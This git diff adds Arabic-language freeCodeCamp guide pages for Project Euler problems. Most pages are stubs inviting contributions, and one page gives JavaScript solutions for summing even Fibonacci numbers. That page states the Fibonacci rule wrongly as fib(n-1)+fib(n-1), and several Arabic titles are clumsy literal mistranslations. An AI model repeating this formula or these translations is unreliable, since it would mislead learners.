+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md
@@ -0,0 +1,9 @@
+---
+title: RSA encryption
+localeTitle: تشفير RSA
+---
+## المشكلة 182: تشفير RSA
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-182-rsa-encryption/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md
new file mode 100644
index 0000000000..22d9cf29bd
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximum product of parts
+localeTitle: أقصى منتج من قطع الغيار
+---
+## المشكلة 183: أقصى منتج من الأجزاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-183-maximum-product-of-parts/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md
new file mode 100644
index 0000000000..39c9d42ed4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md
@@ -0,0 +1,9 @@
+---
+title: Triangles containing the origin
+localeTitle: مثلثات تحتوي على الأصل
+---
+## المشكلة 184: مثلثات تحتوي على الأصل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-184-triangles-containing-the-origin/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md
new file mode 100644
index 0000000000..0de3560725
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md
@@ -0,0 +1,9 @@
+---
+title: Number Mind
+localeTitle: رقم العقل
+---
+## المشكلة 185: عقل الرقم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-185-number-mind/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md
new file mode 100644
index 0000000000..3832afb7df
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md
@@ -0,0 +1,9 @@
+---
+title: Connectedness of a network
+localeTitle: اتصال الشبكة
+---
+## المشكلة 186: اتصال الشبكة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-186-connectedness-of-a-network/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md
new file mode 100644
index 0000000000..d02ca01d43
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md
@@ -0,0 +1,9 @@
+---
+title: Semiprimes
+localeTitle: عدد نصف أولي
+---
+## المشكلة 187: Semiprimes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-187-semiprimes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md
new file mode 100644
index 0000000000..eff45489ff
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md
@@ -0,0 +1,9 @@
+---
+title: The hyperexponentiation of a number
+localeTitle: hyperexponentiation من رقم
+---
+## المشكلة 188: فرط الإبتكار في العدد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-188-the-hyperexponentiation-of-a-number/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md
new file mode 100644
index 0000000000..91fc657919
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md
@@ -0,0 +1,9 @@
+---
+title: Tri-colouring a triangular grid
+localeTitle: ثلاثي تلوين شبكة الثلاثي
+---
+## مشكلة 189: ثلاثي تلوين شبكة الثلاثي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-189-tri-colouring-a-triangular-grid/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md
new file mode 100644
index 0000000000..33aea87854
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting Sundays
+localeTitle: عد الأحد
+---
+## المشكلة 19: عد أيام الأحد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-19-counting-sundays/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md
new file mode 100644
index 0000000000..e8f43ec875
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md
@@ -0,0 +1,9 @@
+---
+title: Maximising a weighted product
+localeTitle: تعظيم منتج مرجح
+---
+## المشكلة 190: تعظيم منتج مرجح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-190-maximising-a-weighted-product/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md
new file mode 100644
index 0000000000..cb3781287e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Prize Strings
+localeTitle: سلاسل الجوائز
+---
+## المشكلة 191: سلاسل الجوائز
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-191-prize-strings/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md
new file mode 100644
index 0000000000..546629997c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md
@@ -0,0 +1,9 @@
+---
+title: Best Approximations
+localeTitle: أفضل التقريب
+---
+## مشكلة 192: أفضل التقريب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-192-best-approximations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md
new file mode 100644
index 0000000000..4cc30aa72f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Numbers
+localeTitle: أرقام مربعة
+---
+## مشكلة 193: أرقام Squarefree
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-193-squarefree-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md
new file mode 100644
index 0000000000..71cacf3505
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md
@@ -0,0 +1,9 @@
+---
+title: Coloured Configurations
+localeTitle: تكوينات ملونة
+---
+## مشكلة 194: تكوينات ملونة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-194-coloured-configurations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md
new file mode 100644
index 0000000000..172c3bff44
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md
@@ -0,0 +1,9 @@
+---
+title: Inscribed circles of triangles with one angle of 60 degrees
+localeTitle: الدوائر المغطاة من المثلثات بزاوية واحدة 60 درجة
+---
+## المشكلة 195: دوائر مثلثات ذات زاوية 60 درجة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-195-inscribed-circles-of-triangles-with-one-angle-of-60-degrees/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md
new file mode 100644
index 0000000000..77553a213c
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime triplets
+localeTitle: رئيس ثلاثة توائم
+---
+## المشكلة 196: رئيس الوزراء ثلاثة توائم
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-196-prime-triplets/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md
new file mode 100644
index 0000000000..e89a026b35
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md
@@ -0,0 +1,9 @@
+---
+title: Investigating the behaviour of a recursively defined sequence
+localeTitle: التحقيق في سلوك تسلسل محددة بشكل متكرر
+---
+## المشكلة 197: التحقق من سلوك تسلسل محدد بشكل متكرر
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-197-investigating-the-behaviour-of-a-recursively-defined-sequence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md
new file mode 100644
index 0000000000..09636cc1d4
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Ambiguous Numbers
+localeTitle: أرقام غامضة
+---
+## مشكلة 198: أرقام غامضة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-198-ambiguous-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md
new file mode 100644
index 0000000000..4028e8464a
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterative Circle Packing
+localeTitle: التعبئة التكرارية الدائرة
+---
+## المشكلة 199: تعليب دائرة متكررة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-199-iterative-circle-packing/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md
new file mode 100644
index 0000000000..05786b9688
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-2-even-fibonacci-numbers/index.md
@@ -0,0 +1,61 @@
+---
+title: Even Fibonacci Numbers
+localeTitle: حتى أرقام فيبوناتشي
+---
+## المشكلة الثانية: حتى أرقام فيبوناتشي
+
+### طريقة:
+
+*   تسلسل فيبوناتشي هو تسلسل حيث `fib(n) = fib(n-1) + fib(n-1)` .
+    
+*   في هذا التحدي يتعين علينا جمع كل الأرقام الزوجية حتى الفصل `nth` في التسلسل.
+    
+*   مثال على `fiboEvenSum(10)` :
+    
+*   التسلسل حتى الفصل العاشر هو: 1 و 2 و 3 و 5 و 8 و 13 و 21 و 34 و 55 و 89 و 144
+    
+*   مجموع كل الأرقام الزوجية في التسلسل أعلاه هو: 2 + 8 + 34 + 144 = 188
+    
+
+### حل:
+
+#### الحل الأساسي - تكراري:
+
+ `function fiboEvenSum(n) { 
+  let first = 1, second = 2, sum = 2, fibNum; // declaring and initializing variables 
+  if (n <= 1) return sum; // edge case 
+  for (let i = 2; i <= n; i++){  // looping till n 
+    fibNum = first + second;    // getting the ith fibonacci number 
+    first = second; 
+    second = fibNum; 
+    if (fibNum%2 == 0) sum+=fibNum;  // If even add to the sum variable 
+  } 
+  return sum; 
+ } 
+` 
+
+#### حل متقدم - متكرر:
+
+ `// We use memoization technique to save ith fibonacci number to the fib array 
+ function fiboEvenSum(n){ 
+  const fib = [1, 2]; 
+  let sumEven = fib[1]; 
+  function fibonacci(n){ 
+    if (n <= 1) return fib[n]; // base condition 
+    else if (fib[n]) return fib[n]; // if the number exists in the array we cache it and return 
+    else { 
+      fib[n] = fibonacci(n-1) + fibonacci(n-2); // otherwise calculcate and save it to the array 
+      if (fib[n]%2 == 0) sumEven+=fib[n];  //if the number is even, add it to the sumEven variable 
+      return fib[n]; 
+    } 
+  } 
+  fibonacci(n); // run the recursive function 
+  return sumEven; 
+ } 
+` 
+
+*   [تشغيل الكود](https://repl.it/@ezioda004/Project-Euler-Problem-2-Even-Fibonacci-Numbers)
+
+### المراجع:
+
+*   [ويكيبيديا](https://en.wikipedia.org/wiki/Fibonacci_number)
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md
new file mode 100644
index 0000000000..df39141fc0
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Factorial digit sum
+localeTitle: مجموع أرقام عامل
+---
+## المشكلة 20: مجموع أرقام عامل
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-20-factorial-digit-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md
new file mode 100644
index 0000000000..aaa1a69bb5
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md
@@ -0,0 +1,9 @@
+---
+title: Find the 200th prime-proof sqube containing the contiguous sub-string "200"
+localeTitle: العثور على sqube الرئيسي 200th يحتوي على سلسلة فرعية متجاورة "200"
+---
+## المشكلة 200: البحث عن squear الرئيسي 200th يحتوي على السلسلة الفرعية المتجاورة "200"
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-200-find-the-200th-prime-proof-sqube-containing-the-contiguous-sub-string-200/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md
new file mode 100644
index 0000000000..8378d46b50
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md
@@ -0,0 +1,9 @@
+---
+title: Subsets with a unique sum
+localeTitle: مجموعات فرعية بمجموع فريد
+---
+## مشكلة 201: مجموعات فرعية بمجموع فريد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-201-subsets-with-a-unique-sum/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md
new file mode 100644
index 0000000000..807488ebf2
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md
@@ -0,0 +1,9 @@
+---
+title: Laserbeam
+localeTitle: شعاع الليزر
+---
+## المشكلة 202: Laserbeam
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-202-laserbeam/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md
new file mode 100644
index 0000000000..2eb94dde96
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md
@@ -0,0 +1,9 @@
+---
+title: Squarefree Binomial Coefficients
+localeTitle: معاملات ذات الحدين
+---
+## المشكلة 203: معاملات ذات الحدين ذات Squarefree
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-203-squarefree-binomial-coefficients/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md
new file mode 100644
index 0000000000..3e5685f40f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Generalised Hamming Numbers
+localeTitle: أرقام هامجة عامة
+---
+## المشكلة 204: أرقام هامجة عامة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-204-generalised-hamming-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md
new file mode 100644
index 0000000000..07b49753ab
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md
@@ -0,0 +1,9 @@
+---
+title: Dice Game
+localeTitle: لعبة النرد
+---
+## المشكلة 205: لعبة النرد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-205-dice-game/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md
new file mode 100644
index 0000000000..14e45b945e
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Concealed Square
+localeTitle: ساحة مخفية
+---
+## المشكلة 206: ساحة مخفية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-206-concealed-square/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md
new file mode 100644
index 0000000000..7ffc464d60
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md
@@ -0,0 +1,9 @@
+---
+title: Integer partition equations
+localeTitle: معادلات التقسيم الصحيحة
+---
+## المشكلة 207: معادلات تقسيم صحيح
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-207-integer-partition-equations/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md
new file mode 100644
index 0000000000..5ce5fbc464
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md
@@ -0,0 +1,9 @@
+---
+title: Robot Walks
+localeTitle: روبوت يمشي
+---
+## مشكلة 208: تمشي روبوت
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-208-robot-walks/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md
new file mode 100644
index 0000000000..b3fd458a03
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md
@@ -0,0 +1,9 @@
+---
+title: Circular Logic
+localeTitle: المنطق الدائري
+---
+## المشكلة 209: المنطق الدائري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-209-circular-logic/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md
new file mode 100644
index 0000000000..a6da94ee3f
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable numbers
+localeTitle: أرقام ودية
+---
+## المشكلة 21: الأرقام الودية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-21-amicable-numbers/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md
new file mode 100644
index 0000000000..348430adaf
--- /dev/null
+++ b/client/src/guide/arabic/certifications/coding-interview-prep/project-euler/problem-210-obtuse-angled-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Obtuse Angled Triangles
